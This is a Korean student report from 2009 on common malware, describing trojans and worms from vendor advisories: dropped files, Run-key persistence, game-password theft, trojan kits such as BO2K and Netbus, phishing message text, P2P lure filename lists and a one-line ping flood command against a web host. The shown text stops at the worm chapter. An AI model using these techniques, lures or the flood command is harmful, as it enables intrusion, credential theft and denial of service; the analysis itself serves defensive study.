목차 1. 트로이목마 (Trojan) 웜 (Worm) 루트킷 (RootKit) 실제악성코드샘플분석결과...38

Similar documents
루트킷.doc

Content 1. DLL? 그게뭐야?

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

*2008년1월호진짜

Windows 8에서 BioStar 1 설치하기

DLL Injection

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

ActFax 4.31 Local Privilege Escalation Exploit

목차 윈도우드라이버 1. 매뉴얼안내 운영체제 (OS) 환경 윈도우드라이버준비 윈도우드라이버설치 Windows XP/Server 2003 에서설치 Serial 또는 Parallel 포트의경우.

AhnLab_template

컴퓨터관리2번째시간

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

Install stm32cubemx and st-link utility

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx

<4D F736F F F696E74202D203137C0E55FBFACBDC0B9AEC1A6BCD6B7E7BCC72E707074>

악성코드분석보고서 학번 작성자김진홍작성일 2015 년 5 월 14 일 Keyword Downloader, Mouse cursor modification, Registry modification 1. 개요 1.1 요약 해당악성코드는악성코드를다운로드하는역할

MF5900 Series MF Driver Installation Guide

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

슬라이드 1

Chapter #01 Subject

#WI DNS DDoS 공격악성코드분석

Microsoft Word - src.doc

< 목차 > Ⅰ. 개요 3 Ⅱ. 실시간스팸차단리스트 (RBL) ( 간편설정 ) 4 1. 메일서버 (Exchange Server 2007) 설정변경 4 2. 스팸차단테스트 10

Microsoft PowerPoint SDK설치.HelloAndroid(1.5h).pptx

In this tutorial i'll try to cover all of the known methods(or at least, those that I know =p) of injecting dll's into a proce

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코

Microsoft Word - Armjtag_문서1.doc

Deok9_Exploit Technique

ISP and CodeVisionAVR C Compiler.hwp

Microsoft PowerPoint - 02_Linux_Fedora_Core_8_Vmware_Installation [호환 모드]

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

4S 1차년도 평가 발표자료

The Pocket Guide to TCP/IP Sockets: C Version

공지사항

목차 1. 개요 배경 파일정보 상세분석 SMB 취약점공격흐름 특징적인행위 대응

목차 1. 시스템요구사항 암호및힌트설정 ( 윈도우 ) JetFlash Vault 시작하기 ( 윈도우 ) JetFlash Vault 옵션 ( 윈도우 )... 9 JetFlash Vault 설정... 9 JetFlash Vault

1. Execution sequence 첫번째로 GameGuard 의실행순서는다음과같습니다 오전 10:10:03 Type : Create 오전 10:10:03 Parent ID : 0xA 오전 10:10:03 Pro

DE1-SoC Board

6. 설치가시작되는동안 USB 드라이버가자동으로로드됩니다. USB 드라이버가성공적으로로드되면 Setup is starting( 설치가시작되는중 )... 화면이표시됩니다. 7. 화면지침에따라 Windows 7 설치를완료합니다. 방법 2: 수정된 Windows 7 ISO

Microsoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드]

<4D F736F F D2033BFF920BECBBEE0BFF9B0A3BAB8B0EDBCAD2E646F6378>

Title Here

server name>/arcgis/rest/services server name>/<web adaptor name>/rest/services ArcGIS 10.1 for Server System requirements - 지

메일서버등록제(SPF) 인증기능적용안내서 (HP-UX - qmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 HP-UX 11.11i qmail 1.03 spf-filter 년 6 월

System Recovery 사용자 매뉴얼

ICAS CADWorx SPLM License 평가판설치가이드

<4D F736F F D D31312D30312D53572D30312DBBE7BFEBC0DABCB3B8EDBCAD5FBFDCBACEB9E8C6F7BFEB2E646F63>

untitled

API 매뉴얼

Microsoft PowerPoint - 권장 사양

<41736D6C6F D20B9AEBCADBEE7BDC42E687770>

vRealize Automation용 VMware Remote Console - VMware

JDK이클립스

manual pdfÃÖÁ¾

PowerPoint Template

PowerPoint 프레젠테이션

슬라이드 1

07_alman.hwp

Microsoft Word - HD-35 메뉴얼_0429_.doc

Windows Live Hotmail Custom Domains Korea

SBR-100S User Manual

Adobe Flash 취약점 분석 (CVE )

Secure Programming Lecture1 : Introduction

<BBE7B0EDB3EBC6AE5FC7E3BAEAB0D4C0D32E687770>

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

Microsoft PowerPoint - 09-CE-5-윈도우 핸들

메일서버등록제(SPF) 인증기능적용안내서 (Exchange Windows 2003) OS Mail Server SPF 적용모듈 작성기준 Windows Server 2003 Exchange Server 2003 GFI MailEssentials 2010 fo

Microsoft Word - [Windows Hook] 6.HideProcess.doc

Microsoft PowerPoint - chap06-2pointer.ppt

DocsPin_Korean.pages

untitled

Mango-IMX6Q mfgtool을 이용한 이미지 Write하기

1,000 AP 20,000 ZoneDirector IT 5, WLAN. ZoneFlex AP ZoneDirector. WLAN. WLAN AP,,,,,,., Wi-Fi. AP. PSK PC. VLAN WLAN.. ZoneDirector 5000 WLAN L

슬라이드 1

PCServerMgmt7

[Brochure] KOR_TunA

메일서버등록제(SPF) 인증기능적용안내서 (Exchange Windows 2000) OS Mail Server SPF 적용모듈 작성기준 Windows Server 2000 Exchange Server 2003 GFI MailEssentials 14 for

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

Raspbian 설치 라즈비안 OS (Raspbian OS) 라즈베리파이 3 Model B USB 마우스 USB 키보드 마이크로 SD 카드 마이크로 SD 카드리더기 HDM I 케이블모니터

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

아래 항목은 최신( ) 이미지를 모두 제대로 설치하였을 때를 가정한다

PowerPoint Presentation

H3250_Wi-Fi_E.book

인터넷 비즈니스의 필수 요소, 트랜잭션 시큐리티 서비스 인터넷 비즈니스는 기업 영리 활동에 있어서 부가적인 서비스가 아닌 사업을 영위해 가는데 중요한 역할을 하고 있습니다. 특히, 인터넷 쇼핑몰, 인터 넷 뱅킹, 사이버 트레이딩, 전자정부서비스, 온라인 게임, 인터넷


ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

C++ Programming

DBMS & SQL Server Installation Database Laboratory

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

Chapter ...

메일서버등록제(SPF) 인증기능적용안내서 (AIX - sendmail) OS Mail Server SPF 적용모듈 (Perl 기반) 작성기준 AIX 5.3 sendmail spf-filter 년 6 월

<4D F736F F F696E74202D E20C0CEC5CDB3DD20C0C0BFEB20B9D720BCADBAF1BDBA20B1E2BCFA E >

[ 악성코드상세분석보고서 ] SK 커뮤니케이션즈해킹관련상세분석보고서 nateon.exe 대응 2 팀

Microsoft PowerPoint - polling.pptx

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University

Transcription:

시중악성코드의유형과패턴분석및 리버싱툴을이용한샘플코드분석결과보고 작성자 : 배건규 (muckmock@nate.com) 최성훈 (kimjinyoo@hotmail.com) 윤정현 (aljad2000@gmail.com) 조성은 (jose84@nate.com) 최인희 (selene85@hanmail.net) 06 Nov. 2009

목차 1. 트로이목마 (Trojan)...01 2. 웜 (Worm)...09 3. 루트킷 (RootKit)...20 4. 실제악성코드샘플분석결과...38

Chpter 1. 트로이목마 (trojan) 1. 트로이목마 (trojan) 란? 트로이목마는이름그대로그리스와트로이의전쟁에서유래했다. 그리스는난공불락의요새인트로이를점령하기위하여목마를만들어병사들을매복시켰다. 그후목마를남겨두고위장후퇴를하였고, 트로이는승리에도취되어전리품으로목마를성안으로가지고들어왔다. 밤이되었을때, 목마에숨어있던그리스병사들이나와트로이의성문을열었고트로이는그리스에함락당하고말았다. 트로이목마는실제로는악성프로그램이지만해롭지않은것처럼보이는위장파일이다. 트 로이목마는정상파일을가장하고있다가, 사용자가실행시컴퓨터를망가뜨리거나개인 정보를유출한다. 보통자기복제능력이없기때문에바이러스나웜과구분되어진다. 2. 침투경로 직접침투 이메일을이용한침투 플러그인을이용한침투 공유폴더를이용한침투 이동형저장장치를이용한침투 악성코드를통한침투 크래커가트로이목마프로그램을설치할컴퓨터에직접접근하여프로그램을설치하는방법 피해자에게주변인을가장하여메일을전송해실행파일을실행하도록만드는방법 ActiveX 같은플러그인을이용하여사용자가프로그램을자신도모르는사이에다운받도록유도하는방법 네트워크상의공유폴더에프로그램을업로드해피해자가다운로드받도록유도하는방법 이동형저장장치에실행파일을생성해저장장치를사용하는컴퓨터에설치 다른악성코드 ( 웜, 바이러스등 ) 등에서프로그램을설치

3. 동작방식에따른분류 드롭퍼 (Trojan-Dr opper) 다운로더 (Trojan- Downloader) 패스워드스틸러 (Trojan-P WS) 프록시 (Trojan-Pr oxy) 클리커 (Trojan-Cli cker) 스파이 (Trojan-Sp y) 익스플로잇 (Trojan -Exploit) 내부에포함되어있던추가적인악성코드를설치하는트로이목마지정된웹사이트에접속하여추가적으로악성코드를다운로드하는트로이목마사용자계정및비밀번호를외부로유출하는트로이목마프록시의설정을변경하거나프록시를사용하는트로이목마오류메시지나광고를통해사용자의사이트의접속을유도하는트로이목마각종시스템정보를외부로유출하기위해제작된트로이목마취약점을통해감염시키는것이주목적인트로이목마 출처 : ISARC(INCA Internet Security Analysis & Response Center) 4. 시중분석코드 Trojan.Win32.VB.69632.AV 1. 악성코드에감염되면다음과같은경로에파일을생성 ( 윈도우폴더 )\rundll32.exe ( 윈도우폴더 )\msagent\rundll32.exe c:\challenge.exe 2. 감염된시스템은다음과같이레지스트리를추가 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run rundll32 : ( 윈도우폴더 )\rundll32.exe 3. 다음과같은사이트에접속을시도 guestbookdexxx.xxx [ 표기법 ] -"( 윈도우폴더 )" 란시스템마다다를수있으며일반적으로 C:\Windows (Windows 95/98/ME/XP), C:\WinNT (Windows NT/2000) 이다. - 하우리 -

Trojan.Win32.Krap.115712.D 1. 해당악성코드는 DLL 파일로다른악성코드와유기적으로동작하며, 사용자계정을가 로채는목적으로제작되었다. 2. DLL 파일이정상적으로로드되면다음과같이레지스트리를수정 HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer - NoDriveTypeAutoRun : 91 HKLM\SOFTWARE\Micorosoft\Windows\CurrentVersion\Explorer\Advanced\Foler\Hid den\showall - CheckedValue : 0 HKU\(SID)\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ - Hidden : 2 HKU\(SID)\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ - ShowSuperHidden : 0 HKLM( 또는 HKCU)\Software\Microsoft\Windows\CurrentVersion\Run - kvasoft : 악성코드경로 3. 사용자계정을갈로채는프로세스는다음과같다. BlueSkyClient_R.exe : 창천온라인 champagneclinet.exe : 샴페인온라인 dnf.exe : 던전앤파이터 elementclinet.exe : 무림외전 engine.exe : SP1 L2.exe : 리니지2 lotroclient.exe : 반지의제왕 maplestory.exe : 메이플스토리 pleione.dll : 마비노기 pt2.exe : 프리스톤테일2 r2clent.exe : R2 TwelveSky2.exe : 십이지천2 wffm.exe : 풍림화산 winbaram.exe : 바람의나라 wow.exe : 월드오브워크래프트 4. 해킹당한것으로추정되는웹사이트 dx3xx.com (6x.1x9.3x.6x) 에접속하여 xxgx/lx1.xax 파일을다운로드시도한다.

1. 다음과같은증상을보인다. 감염시스팸메일을발송하고종료 Trojan.Win32.Delf.404992 2. 다음과같이스팸에일을발송 xxx.xxx.21.38 로스팸메일을발송 HELO HiAsm.MailAUTH LOGINY29kZS1yb2JvdA==OTAwNDI3MAIL From: code-robot@xxxex.ru RCPT To: puls-ft@xxxex.rudata From: code-robot@yandex.ru To: puls-ft@xxxex.rusubject:........ Content-Type: text/plain; charset="windows-1251" - 하우리 - Trojan.Win32.PSWSmall.49152 1. 악성코드에감염되면다음과같은경로에파일을생성 ( 사용자폴더 )\Local Settings\Temp\ms75E91007.nls 2. 감염된시스템은다음과같이레지스트리를추가 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\DelTempFC65: "cmd.exe /c del "C:\DOCUME~1\who\LOCALS~1\Temp\ms75E91007.nls"" 3. 다음과같은사이트에접속을시도 please-clixx.xx [ 표기법 ] - "( 사용자폴더 )" 란시스템마다다를수있으며일반적으로 C:\Documents and Settings\ 계정명 \Local Settings

Trojan.Win32.PSWIGames.1022464 1. 게임관련정보를수집하는것으로추정 ("dnf.exe") 2. 악성코드에감염되면다음과같은경로에파일을생성 C:\WINDOWS\system32\delnice.dll 3. 레지스트리에다음과같이등록 HKLM\SOFTWARE\Microsoft\Windows "delnice.dll" NT\CurrentVersion\Windows\AppInit_DLLs: - 하우리 - 5. 트로이목마툴 - 흔히알려진트로이목마툴에는 Y3k, Netbus, BackOrifice등이있다. 해당툴들은대부분서버와클라이언트툴로나누어지며, 서버에서클라이언트를컨트롤하고정보를유출할수있는다양한기능들을제공하고있다. 구성 Y3k - server.exe ( 서버툴 ) - y3krat.exe ( 클라이언트툴 ) - Editserver.exe ( 서버설정프로그램 ) - y3k.dll ( 실행을위한 dll파일 ) - about.txt ( 도움말 ) 기본포트 - 5880 특징및기능 - 다양한서버옵션 - 간편한사용방법 - 침입컴퓨터를 ftp 서버화 - 침입컴퓨터를실시간캡쳐 - icq 제어 - scan 기능 - 침입컴퓨터에각종메시지전송

구성 BackOriffice2000 - Bo2k.exe ( 서버툴 ) - Bo2kgui.exe ( 클라이언트툴 ) - Bo2kcfg ( 서버툴설정프로그램 ) 기본포트 - 54320, 31337, 사용자설정 특징및기능 - 서버툴의사용자정의설정이다양 - 다양한클라이언트툴의활용 - 침투한컴퓨터의모든시스템및프로그램장악 - 키로그작성및유출 - 침투한컴퓨터를통해다른컴퓨터로침투가가능 구성 기본포트 특징및기능 Netbus - patch.exe ( 서버툴 ) - netbus.exe ( 클라이언트툴 ) - netbus.rtf ( 도움말 ) - netbus 1.70 : 12345, 12346 - netbus 2.0 : 20034 - 프로그램실행및종료 - 스크린캡쳐 - 시스템강제종료 - 사운드제어 - 경고창제어 - 마우스제어및실행 - 인터넷브라우저제어

Chapter 2. 웜 (Worm) 1. 컴퓨터웜 (Computer Worm) 이란? 컴퓨터웜 (Computer Worm) 은스스로를복제하는컴퓨터프로그램이다. 컴퓨터바이러스와비슷하다. 바이러스가다른실행프로그램에기생하여실행되는데반해웜은독자적으로실행되며다른실행프로그램이필요하지않다. 웜은종종컴퓨터의파일전송기능을착취하도록설계된다. 컴퓨터바이러스와웜의중요한차이점은바이러스는스스로전달할수없지만웜은가능하다는점이다. 웜은네트워크를사용하여자신의복사본을전송할수있으며, 어떠한중재작업없이그렇게할수있다. 일반적으로웜은네트워크를손상시키고대역폭을잠식하지만, 바이러스는컴퓨터의파일을감염시키거나손상시킨다. 바이러스는보통네트워크에영향을주지않으며대상컴퓨터에대해서만활동한다. 2. 침투경로 이메일을이용한침투 메신저, P2P 이용 - 대량의메일을보내는방법으로웜확산 - 전파속도가매우빠름 - 가장많은비율을차지예 ) blaster, bagle, netsky, mydoom, sober 메신저, P2P용프로그램이웜의전파경로로이용 바이러스와결합웜과바이러스의결합 ( 빠른전파력 + 파괴력 ) - IRC프로그램을사용하여전파 - 주로 mirc와 script를이용 - 특정채널에접속해다수에게웜을보냄 IRC warm - 오퍼의명령을기다림 - 최근 IRC 자체엔진을가진웜출현예 ) Clicklt, IRCbot, sdbot 4. 시중분석코드 Email-Worm.BAT.Alcobul.a 이웜은감염메시지를첨부한채로인터넷을통해전파됩니다. BAT파일이며크기는 2,083바이트이다. - 설치실행되면윈도우디렉토리에 "UpgradeToWindowsXP.bat" 라는이름으로자신을복사 : C:\Windows\UpgradeToWindowsXP.bat 또한다음디렉토리를스스로복사 : C:\XP\

웜은시스템재시작시자동으로실행되게하기위해시스템레지스트리에자신의실행파일링크를추가 : [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] "PX" = "C:\XP\xp.bat" 그러기위해다음파일을생성합니다 : C:\XPUpdate.reg - 전파 이웜은두가지방법으로전파된다. 1 IRC 채널을통한전파 : 피해 PC 에 "mirc" 라는프로그램이설치되어있으면, 웜은 "C:\mIRC\script.ini" 를바꿔 치기합니다. 이파일은 IRC 채널에서웜을사용자들에게보내는명령을포함하고있다. 2 감염메시지를첨부한채인터넷을통한전파 : 웜은다음파일을생성 : C:\X.vbs 이파일은아웃룩익스프레스주소록에있는모든주소로웜의복사본을전송한다. 감염메시지 : 메시지제목 : Upgrade to Windows XP 메시지본문 : Good news from Microsoft. Click the attachment for your FREE Windows XP. Upgrade to Windows XP now. 웜은다음첨부파일을전송 : C:\Windows\UpgradeToWindowsXP.bat 웜이실행되면인터넷익스플로를사용해서다음사이트를연다 : http://www.yahooka.com 웜은 www.hotmail.com에 Dos공격을수행하기위해다음명령을실행 : ping.exe -l 10000 -t www.hotmail.com 또한다음디렉토리안에있는모든 "*.dat" 파일을스스로와바꾼다 : C:\progra~1\mcafee\mcafee~1\

Email-Worm.VBS.Small.n 이웜은인터넷을통해감염메시지를첨부한채로유포된다. 감염메시지는피해 PC에서수집된모든이메일주소로보내진다. 1,310바이트이며, 비주얼베이직스크립트로짜여져있다 (VBS). 웜이실행되면윈도우루트디렉토리의자신의복사본을생성 : %WinDir%\Troyan.vbs 윈도우가재시작될때마다자동으로실행되도록하기위해시스템레지스트리에웜의실행파일을등록한다. [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices] "E-Mail" = "%WinDir%\Troyan.vbs" 웜은스스로를주소록의모든연락처로전송한다. 또한감염된 PC 의정보를원격지의악 성사용자에게보낸다. 수집된 pwl 파일은메시지에첨부되고, 이파일은사용자암호를담 고있다. 이메일을통한유포웜은 MS아웃룩주소록으로부터이메일주소를수집합니다. 그뒤수집된모든주소들에주기적으로스스로를전송합니다. 감염메시지 : 감염된메시지의예 : 제목 : Prinosim izveneniya 본문 : Prinosim izvineniya za lichnoyebespokoistvo. Prosim vas vyislat' Vash login i parol' (zhelatel'no bezlishnikh simvolov) na adres: support@inbox.ru dlya povtornoiidentifikatsii. Zaranee spasibo " 웜은메시지에스스로를파일첨부하여전송한다. 이메일의예는원격지의악성사용자에게전송되었습니다.(*****Snake@inbox.ru): 제목 : Lam grokhnut!!! 본문 : Vot fail s parolyami

IM-Worm.Win32.Bropia.ad 이웜은 Visual Basic으로작성되었고보통IM-Worm자체와 Backdoor.Win32.Rbot변종의두가지컴포넌트를가지고있는데이는파일내에포함되어있다. 백도어는대개 UPX와 Morphine으로압축되며, Backdoor.Win32.Rbot.gen으로탐지된다. 웜의크기는 188,416바이트이며웜파일내에포함되어있는압축백도어의크기는 86,528바이트이다. 압축을풀면대략 1.23MB정도된다. 웜은 P2P 다운로드나 MSN 메신저를통해링크의형태로도착할가능성이높다. 실행되면 웜은 msnadp32.exe 로서시스템디렉토리에자신을복사한다. 또한많은 P2P 어플리케이 션의공유디렉토리에자신을복사한다. 백도어는또한 ImSexy.exe 로서 C:\tmpdata 내에설치된다. 일단실행되고나면 %sysdir%\pwmgr.exe 에설치되며 ImSexy.exe 를삭제한다. 웜은레지스트리에키를추가하는데이는웜이 Windows 스타트업에서실행되도록하기위한것이다. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] MSN Administration For Windows="msnadp32.exe" 또한백도어는 Windows 스타트업에서실행되도록하기위해서레지스트리키를추가합니다. [HKEY_USERS\S-1-5-21-1482476501-162531612-839522115-1003\Software\Microsoft\ OLE] WinPWD Manager="pwmgr.exe" [HKEY_USERS\S-1-5-21-1482476501-162531612-839522115-1003\Software\Microsoft\ Windows\CurrentVersion\Run] WinPWD Manager="pwmgr.exe" [HKEY_USERS\S-1-5-21-1482476501-162531612-839522115-1003\Software\Microsoft\ Windows\CurrentVersion\RunServices] WinPWD Manager="pwmgr.exe" [HKEY_USERS\S-1-5-21-1482476501-162531612-839522115-1003\SYSTEM\CurrentCon trolset\control\lsa] WinPWD Manager="pwmgr.exe" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] WinPWD Manager="pwmgr.exe" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] WinPWD Manager="pwmgr.exe" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices] WinPWD Manager="pwmgr.exe" [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa] WinPWD Manager="pwmgr.exe" [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] WinPWD Manager="pwmgr.exe"

웜은 Rbot백도어를전파시키기위해서효과적으로사용된다. 이 Rbot변종은많은기능이있는데파일수신및실행, keylogging, FTP서버로서작동, 프록시서버로서작동, 포트검사, DDoS공격실행, 스크린과웹캠캡처, exploit과사전공격을이용하여네트워크에확산등이포함되어있다. 또한많은유명한 Pc게임의 cd키를훔치는기능도있다. %sysdir%\pwmgr.exe 에있는호스트파일이대체되는데, 이로써감염컴퓨터가다양한보안관련사이트에접속하지못하게한다. 웜은메시지를 MSN접속목록에있는모든주소에발송한다. 메시지는악성.php파일에연결되는링크를포함하고있으며이링크는는수신자의이메일주소가포함되어있다. 일단수신자가링크를클릭하게되면수신자의이메일주소가수집되고스팸업자들이이를사용할수있다. [nickname] says: lmao you dumbass! [nickname] says: http://freebuddyicons.[censored].php?user=[recipient's email address] Bropia는간격을두고두가지문장을발송하는데이는수신자가이링크를클릭할가능성을극대화하기위한것이다. 또한 P2P 네트워크를사용하여전파된다. 많은 P2P어플리케이션의공유디렉토리에자신을복사하는데다음의파일이름을사용한다. Adult ID Check.exe Aim Flooder.exe Aim Hacker.exe AIMHacks.exe Anarchist CookBook.exe AVPDVDRip.mpg.exe BF1942FULL.exe BFVietnam.exe BigBoobs.exe BigBoobsXXX.exe Britney XXX.exe broadband wizard.exe cable accelerator.exe cable uncapper.exe CallofDutyFULL.exe CoolGames.exe Cool_Games.exe CounterStrike.exe CounterStrikeSOURCE.exe

CounterStrikeSourceFULL.exe Cracker Game.exe Cracks Collections.Exe Credit Card.exe Delphi6 Keygen.exe DOOM3_FULL.exe DownLoad Accelerator Plus.exe Dreamcast BootDisc.exe Dropitlikeitzhot.exe DVDRipper.exe Easy CD Creator 5.exe email hacker.exe exeeensaver.exe F-ProtAV-Full.exe FBISecretDocuments.exe FTP Commander.exe Ftp Cracker.exe Ftp Hacker.exe FuckedHARDXXX.exe Gladiator (Movie) - Full Downloader.exe GTAViceCity.exe Hacker Kit.exe Hacker.exe HackingWebpage.exe HackingWindowsXP.exe HackingXP.exe HalfLife2FULL+Crack.exe HalfLife2FULL.exe Halflife2KeyGen.exe HalfLife2_FULL.exe Hotmail Account Hacker.exe Hotmail Hack.exe Hotmail Hacker.exe Hotmail Password Cracker.exe HotmailHackerKit.exe How-to-Hack.exe HowtoHack.exe Icq Ad Remover.exe Icq Banner Remover.exe ICQ Hack.exe

icq hacker.exe icq ip patch.exe Ident Faker.exe Ident Spoofer.exe IE6 Final.exe InDaClub.exe irc flooder.exe IRobotDVDRip.mpg.exe Jasc Paint Shop Pro 7 (Full).exe JeniferLopezNUDE.exe Johnny English (Movie) - Full Downloader.exe Kazaa ad remover.exe LanGuard NetScan.exe Linux RootKit.exe Matrix Reloaded.exe McafeeAntiVirus.exe MedalofHonorPacificAssultFULL.exe Microsoft Office Full.exe MiddleSchoolPornXXX.exe Mirc6 Full.exe mirc6 keygen.exe Mp3 Maker Pro.exe mp3 to wav full.exe Msn Hacker.exe MSN Messenger Password Stealer.exe MS_Frontpage.exe NeroBurningRom 6.exe Norton AntiVirus Full.exe Norton Keygen-All Vers.exe NortonAntirVirus2005FULL.exe NortonAntiVirus2005FULL.exe NortonPersonalFirewallFULL.exe NudeCheerleaders.exe OfficeXP sp2 express.exe PasswordCrackers.exe PCChillen.exe pe packer.exe Peck.exe PhotoShopCS8.0_Crack.exe PipeBombTutorial.exe

PreTeenBlowJob.exe PreTeenSEX.exe PreTeenXXX.exe PS1 BootDisc.exe PS2 BootDisc.exe PSXCopy Full.exe Salford.exe Serials 2k.exe Serials Collections.exe SexyChickXXXHarcore.exe SexyTeen.exe Simpsons.exe SluttyCheerleaders.exe SohposAntiVirusFULL.exe Sopohs_Anti_Virus.exe SpywareKiller.exe SteelCap.exe StylesXP.exe Sub7 Master Password.exe Sub7 Remover.exe SwordFish (Movie) - Full Downloader.exe SxyTeenagePorn.exe SxyTeenageSEX.exe SxyTeenFuckedHARD.exe SxyTeenGetsItuptheASS.exe TeenSexHardcore.exe Trillian Patcher.exe Trillian Pro Full.exe Trojan Remover.exe uin2ip.exe VS.Net Patcher.exe Wadle.exe WallPapersXXX.exe webpage hacker.exe WebpageHackingTools.exe WebRootSpySweeper.exe Westdene.exe Win Proxy.exe Win Shares Cracker.exe Win-RAR-FULL+CRACK.exe

Win-RAR-FULL.exe Win98 Hacker.exe WinXP Keygen.exe WinXPHacking.exe www hacker kit.exe XPHackes.exe xxx exeeensaver.exe XXX Virtual Sex.exe XXXCollection.exe XXXHighSchoolSluts.exe XXXMagaPack.exe XXXTeenSexXXX.exe XXXWallpaperCollection.exe Yahoo Hacker.exe Zip_RAR_PWCracker.exe ZoneAlarm Pro Full.exe ZoneAlarm.exe Rbot는 Windows의수정되지않은취약점을이용함으로써네트워크에서확산된다. 또한표적으로삼은컴퓨터에침투하기위해서사전공격을감행함으로써확산된다. P2P-Worm.Win32.SdDrop.a 이웜은 KaZaA와 imesh 파일공유네트워크를통하여퍼진다. 이것은 Backdoor.Sdbot.gen을복사하여실행한다. 이웜은 ASPack를사용하여압축되었고크기는대략 25Kb이다. 실행에있어이웜은 %System%\Xms32.exe에복사한다. 이것은 Backdoor.Sdbot.gen을풀어내고 %System%\Xms32.tmp.exe 에복사한다. 그때웜은 %Windir%\sCache32 폴더에생성하고, 그폴더에아래와같은이름을가진파일을복사한다. 2 Find MP3 8.2.0.exe AC3-MP3 converter.exe ACDSee 5.5b.exe ACDSee Classic 2.79.exe Ad-aware 6.5 (new)download Accelerator Plus 6.3.exe Adobe Acrobat Reader 5.6.exe Adobe PhotoShop 7.1 crack.exe All Editor 3.0b.exe AOL Instant Messenger 6.1.exe

Auction Sentry (new).exe AudioLabel CD Labeler 3.0 (+crack).exe Battlefied1942 Pack4 (crack+bloodpatch).exe BearShare 5.1.1.exe C&C Generals Pack2 (new patch).exe Complete UK Music Database 4.2.exe DirectDVD 4.9.exe DivX Bundle 6.2.exe DivX edit (new).exe DivX Video Bundle 5.5.1.exe DvD Rip guide (+tools) st0rm.exe Dynamite Downloads.exe Easy CD Creator Software Update.exe FlashFXP (keygen).exe FreeRip 4.30.exe Genie Stream 3.2.4.exe GetRight 5.5 + crack.exe Global DiVX Player 2.0.1.exe Gothic 2 (m-patch).exe Grokster 2.0.exe Hacker Tutorial (by ph3akz).exe Half-Life keygen (+ogc hack).exe HL keys (working).exe I.G.I. 2 (new crack).exe ICQ Lite beta (b2253).exe ICQ Pro 2003a beta (b4600).exe imesh 4.1 beta.exe isnipeit 5.0c.exe James Bond 007 Nightfire crack.exe Kazaa Media Desktop 2.5.exe Kazaa Skins 1.8.exe KaZooM MP3 Kazaa Accelerator 2.5.exe Medal Of Honor (Allied Assault) crack.exe Microangelo 6.0b.exe mirc 6.x addon patch.exe mirc s3th war-script.exe Morpheus 2.6.exe MP3 cut pro 3.0.exe MSN Messenger 5.5.10.exe Need for Speed 6 (new cars + crack).exe

NeoNapster 3.92.exe Nero Burning ROM 5.8.2.4.exe Network Cable + ADSL Speed 2.0 (beta).exe New Nvidia (geforce) drivers (beta).exe Nimo Codec Pack 9.0 (stable).exe Nvidia Detonator XP Drivers (Windows XP/2000).exe Operation Flashpoint (bloopatch).exe Patch Creator 3.5a.exe PhotoShow 3.1.exe Pop-Up Stopper 4.0 (beta).exe Ps2 to Pc tutorial (+tool).exe QuickTime 7.2 (new).exe Raven Shield 5.32 crack.exe RealJukebox Basic 2.8.exe RealOne Free Player 2.8.exe RemoteSpy 1.5.exe Sim City 4 crack.exe Splinter Cell crack.exe TitJiggle (flash game).exe Trillian 0.8 + plugins.exe UniversalFlood (4.8b).exe Unreal2 (2.8) crack.exe UT2003 multi-crack (new).exe Warcraft3 battle.net(2.5) crack.exe Window Washer 4.8.exe WinMX 3.5.1.exe WinRAR 3.8.exe WinZip 8.3b (crack).exe WinZip 9.0 SR-1.exe Wippit 2.1 (beta).exe WS_FTP LE 6.0.exe XViD bundle (codec+tutorial).exe 웜은시스템자동시작레지스트리에등록한다. HKCU\Software\Kazaa\LocalContent HKCU\Software\iMesh\Client\LocalContent "Dir? 012345:"="%Windir%\sCache32" "DisableSharing"="0"

